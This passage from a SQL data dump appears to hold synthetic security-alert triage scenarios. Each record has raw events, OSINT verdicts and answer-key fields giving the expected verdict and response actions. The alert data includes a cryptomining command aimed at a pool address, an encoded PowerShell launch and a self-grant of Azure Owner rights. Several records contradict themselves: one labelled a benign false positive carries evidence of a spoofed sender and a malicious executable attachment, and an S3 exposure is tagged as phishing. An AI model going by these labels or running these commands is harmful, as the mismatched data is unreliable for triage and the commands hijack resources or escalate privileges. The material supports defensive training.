(749, 'Encoded PowerShell Command Execution Detected in GCP', 'critical', 'Google Cloud Security Command Center', 'An encoded PowerShell command was executed on a Google Cloud VM, indicative of possible malicious activity.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T11:15:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"N/A\",\"username\":\"admin\",\"hostname\":\"GCP-VM-01\",\"command_line\":\"powershell -enc aGVsbG8gd29ybGQ=\"}', '2026-01-10 13:25:27', '2026-02-16 18:04:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the GCP VM\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -enc aGVsbG8gd29ybGQ=\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command execution detected\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Encoded PowerShell commands are often used to evade detection and execute malicious payloads.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.396Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"GCP-VM-01\\\",\\\"command_line\\\":\\\"powershell -enc aGVsbG8gd29ybGQ=\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.396Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"GCP-VM-01\\\",\\\"command_line\\\":\\\"powershell -enc aGVsbG8gd29ybGQ=\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.396Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"GCP-VM-01\\\",\\\"command_line\\\":\\\"powershell -enc aGVsbG8gd29ybGQ=\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.396Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"GCP-VM-01\\\",\\\"command_line\\\":\\\"powershell -enc aGVsbG8gd29ybGQ=\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.396Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"GCP-VM-01\\\",\\\"command_line\\\":\\\"powershell -enc aGVsbG8gd29ybGQ=\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(750, 'Suspicious Email Detected - Potential False Positive', 'medium', 'Proofpoint Email Gateway', 'An email containing a link to an external website was flagged as suspicious but appears to be from a trusted source.', 'Phishing', 'T1566', 0, 'Closed', 42, '{\"timestamp\":\"2026-01-11T10:25:12Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.20\",\"username\":\"employee@example.com\",\"hostname\":\"N/A\",\"email_sender\":\"trusted.source@example.com\",\"request_body\":\"Please review the attached document: https://example-trusted-site.com/document\"}', '2026-01-10 11:44:36', '2026-03-12 12:15:23', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP associated with a trusted email provider\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"https://example-trusted-site.com/document\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"URL belongs to a trusted and verified domain\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"trusted.source@example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"clean\",\"details\":\"Email address registered to a known and trusted organization\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Despite initial suspicion, the email was verified to be from a trusted source with clean OSINT results.\"}', 'Advanced', 'EDR', 7, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email Detected - Potential False Positive\",\"date\":\"2026-02-01T20:32:22.397Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(751, 'Potential Crypto Mining Activity on AWS EC2 Instance', 'high', 'AWS GuardDuty', 'GuardDuty detected anomalous CPU usage patterns consistent with crypto mining on an EC2 instance. This activity is often indicative of unauthorized resource usage.', 'Malware', 'T1496', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:23:45Z\",\"event_type\":\"anomalous_usage\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.78\",\"username\":\"ec2-user\",\"hostname\":\"ec2-192-168-1-10.compute-1.amazonaws.com\",\"command_line\":\"minerd --algo=cryptonight --url=stratum+tcp://203.0.113.78:3333 --userpass=user:pass\"}', '2026-01-10 12:48:36', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address belonging to AWS EC2 instance\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.78\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 547 times for crypto mining activities\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"minerd --algo=cryptonight --url=stratum+tcp://203.0.113.78:3333 --userpass=user:pass\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Known command line for crypto mining operations\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of a known crypto mining command indicates unauthorized resource usage.\"}', 'Intermediate', 'NDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.398Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:23:45Z\\\",\\\"event_type\\\":\\\"anomalous_usage\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"203.0.113.78\\\",\\\"username\\\":\\\"ec2-user\\\",\\\"hostname\\\":\\\"ec2-192-168-1-10.compute-1.amazonaws.com\\\",\\\"command_line\\\":\\\"minerd --algo=cryptonight --url=stratum+tcp://203.0.113.78:3333 --userpass=user:pass\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.398Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:23:45Z\\\",\\\"event_type\\\":\\\"anomalous_usage\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"203.0.113.78\\\",\\\"username\\\":\\\"ec2-user\\\",\\\"hostname\\\":\\\"ec2-192-168-1-10.compute-1.amazonaws.com\\\",\\\"command_line\\\":\\\"minerd --algo=cryptonight --url=stratum+tcp://203.0.113.78:3333 --userpass=user:pass\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.398Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:23:45Z\\\",\\\"event_type\\\":\\\"anomalous_usage\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"203.0.113.78\\\",\\\"username\\\":\\\"ec2-user\\\",\\\"hostname\\\":\\\"ec2-192-168-1-10.compute-1.amazonaws.com\\\",\\\"command_line\\\":\\\"minerd --algo=cryptonight --url=stratum+tcp://203.0.113.78:3333 --userpass=user:pass\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.398Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:23:45Z\\\",\\\"event_type\\\":\\\"anomalous_usage\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"203.0.113.78\\\",\\\"username\\\":\\\"ec2-user\\\",\\\"hostname\\\":\\\"ec2-192-168-1-10.compute-1.amazonaws.com\\\",\\\"command_line\\\":\\\"minerd --algo=cryptonight --url=stratum+tcp://203.0.113.78:3333 --userpass=user:pass\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.398Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:23:45Z\\\",\\\"event_type\\\":\\\"anomalous_usage\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"203.0.113.78\\\",\\\"username\\\":\\\"ec2-user\\\",\\\"hostname\\\":\\\"ec2-192-168-1-10.compute-1.amazonaws.com\\\",\\\"command_line\\\":\\\"minerd --algo=cryptonight --url=stratum+tcp://203.0.113.78:3333 --userpass=user:pass\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(752, 'Suspicious IAM Privilege Escalation in Azure', 'critical', 'Azure Sentinel', 'A user account was detected attempting to assign itself higher privileges through an unusual method. This could indicate a compromised account.', 'Lateral Movement', 'T1078', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T09:15:30Z\",\"event_type\":\"privilege_escalation\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"52.233.123.45\",\"username\":\"john.doe\",\"hostname\":\"azure-vm-01\",\"command_line\":\"az role assignment create --assignee john.doe --role Owner\"}', '2026-01-10 17:50:25', '2026-02-16 18:03:53', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of Azure VM\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"52.233.123.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in privilege escalation attempts\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"az role assignment create --assignee john.doe --role Owner\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command used for unauthorized privilege escalation\"}}],\"expected_actions\":[\"reset_credentials\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The command line used is indicative of unauthorized privilege escalation.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.400Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:15:30Z\\\",\\\"event_type\\\":\\\"privilege_escalation\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"52.233.123.45\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"azure-vm-01\\\",\\\"command_line\\\":\\\"az role assignment create --assignee john.doe --role Owner\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.400Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:15:30Z\\\",\\\"event_type\\\":\\\"privilege_escalation\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"52.233.123.45\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"azure-vm-01\\\",\\\"command_line\\\":\\\"az role assignment create --assignee john.doe --role Owner\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.400Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:15:30Z\\\",\\\"event_type\\\":\\\"privilege_escalation\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"52.233.123.45\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"azure-vm-01\\\",\\\"command_line\\\":\\\"az role assignment create --assignee john.doe --role Owner\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.400Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:15:30Z\\\",\\\"event_type\\\":\\\"privilege_escalation\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"52.233.123.45\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"azure-vm-01\\\",\\\"command_line\\\":\\\"az role assignment create --assignee john.doe --role Owner\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.400Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:15:30Z\\\",\\\"event_type\\\":\\\"privilege_escalation\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"52.233.123.45\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"azure-vm-01\\\",\\\"command_line\\\":\\\"az role assignment create --assignee john.doe --role Owner\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(753, 'Exposed S3 Bucket Detected in AWS', 'medium', 'AWS CloudTrail', 'A public read/write permission was detected on an S3 bucket, potentially exposing sensitive data.', 'Data Exfiltration', 'T1530', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:42:05Z\",\"event_type\":\"bucket_policy_change\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"13.54.32.123\",\"username\":\"admin\",\"hostname\":\"cloud.aws.local\",\"request_body\":\"{\\\"Bucket\\\":\\\"my-sensitive-bucket\\\",\\\"Policy\\\":\\\"PublicReadWrite\\\"}\"}', '2026-01-09 16:19:33', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of AWS management console\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"{\\\"Bucket\\\":\\\"my-sensitive-bucket\\\",\\\"Policy\\\":\\\"PublicReadWrite\\\"}\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Exposing S3 bucket with public read/write permissions\"}}],\"expected_actions\":[\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Public read/write permissions on a sensitive S3 bucket are a security risk.\"}', 'Intermediate', 'CLOUD', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.401Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:42:05Z\\\",\\\"event_type\\\":\\\"bucket_policy_change\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"13.54.32.123\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"cloud.aws.local\\\",\\\"request_body\\\":\\\"{\\\\\\\"Bucket\\\\\\\":\\\\\\\"my-sensitive-bucket\\\\\\\",\\\\\\\"Policy\\\\\\\":\\\\\\\"PublicReadWrite\\\\\\\"}\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.401Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:42:05Z\\\",\\\"event_type\\\":\\\"bucket_policy_change\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"13.54.32.123\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"cloud.aws.local\\\",\\\"request_body\\\":\\\"{\\\\\\\"Bucket\\\\\\\":\\\\\\\"my-sensitive-bucket\\\\\\\",\\\\\\\"Policy\\\\\\\":\\\\\\\"PublicReadWrite\\\\\\\"}\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.401Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:42:05Z\\\",\\\"event_type\\\":\\\"bucket_policy_change\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"13.54.32.123\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"cloud.aws.local\\\",\\\"request_body\\\":\\\"{\\\\\\\"Bucket\\\\\\\":\\\\\\\"my-sensitive-bucket\\\\\\\",\\\\\\\"Policy\\\\\\\":\\\\\\\"PublicReadWrite\\\\\\\"}\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.401Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:42:05Z\\\",\\\"event_type\\\":\\\"bucket_policy_change\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"13.54.32.123\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"cloud.aws.local\\\",\\\"request_body\\\":\\\"{\\\\\\\"Bucket\\\\\\\":\\\\\\\"my-sensitive-bucket\\\\\\\",\\\\\\\"Policy\\\\\\\":\\\\\\\"PublicReadWrite\\\\\\\"}\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.401Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:42:05Z\\\",\\\"event_type\\\":\\\"bucket_policy_change\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"13.54.32.123\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"cloud.aws.local\\\",\\\"request_body\\\":\\\"{\\\\\\\"Bucket\\\\\\\":\\\\\\\"my-sensitive-bucket\\\\\\\",\\\\\\\"Policy\\\\\\\":\\\\\\\"PublicReadWrite\\\\\\\"}\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(754, 'False Positive: Unusual Login Attempt Detected', 'low', 'Splunk', 'A login attempt from a new location was detected for user \'alice.smith\', but further investigation revealed this was a legitimate business trip.', 'Credential Attack', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:50:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.101\",\"dst_ip\":\"203.0.113.10\",\"username\":\"alice.smith\",\"hostname\":\"vpn.company.com\",\"failed_attempts\":\"3\"}', '2026-01-10 10:38:35', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP not reported for malicious activities\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"alice.smith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Records\",\"verdict\":\"clean\",\"details\":\"User confirmed to be on a business trip\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The user\'s travel itinerary confirms this was a legitimate login attempt.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.402Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.101\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"alice.smith\\\",\\\"hostname\\\":\\\"vpn.company.com\\\",\\\"failed_attempts\\\":\\\"3\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.402Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.101\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"alice.smith\\\",\\\"hostname\\\":\\\"vpn.company.com\\\",\\\"failed_attempts\\\":\\\"3\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.402Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.101\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"alice.smith\\\",\\\"hostname\\\":\\\"vpn.company.com\\\",\\\"failed_attempts\\\":\\\"3\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.402Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.101\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"alice.smith\\\",\\\"hostname\\\":\\\"vpn.company.com\\\",\\\"failed_attempts\\\":\\\"3\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.402Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.101\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"alice.smith\\\",\\\"hostname\\\":\\\"vpn.company.com\\\",\\\"failed_attempts\\\":\\\"3\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(755, 'Exposed AWS S3 Bucket Detected', 'high', 'AWS GuardDuty', 'An S3 bucket was found to be publicly accessible, potentially exposing sensitive data. Immediate action is required to secure data.', 'Data Exfiltration', 'T1566', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T08:45:00Z\",\"event_type\":\"bucket_access\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"\",\"username\":\"user123\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"\",\"command_line\":\"\",\"bucket_name\":\"sensitive-data-bucket\",\"access_policy\":\"public-read\"}', '2026-01-10 02:30:01', '2026-02-17 05:27:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 142 times for suspicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"bucket_name\",\"value\":\"sensitive-data-bucket\",\"is_critical\":true,\"osint_result\":{\"source\":\"AWS Config\",\"verdict\":\"internal\",\"details\":\"Exposed bucket found on AWS\"}}],\"expected_actions\":[\"block_ip\",\"secure_bucket\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The public access policy on the S3 bucket is a clear indicator of misconfiguration leading to potential data exposure.\"}', 'Beginner', 'DLP', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.403Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event 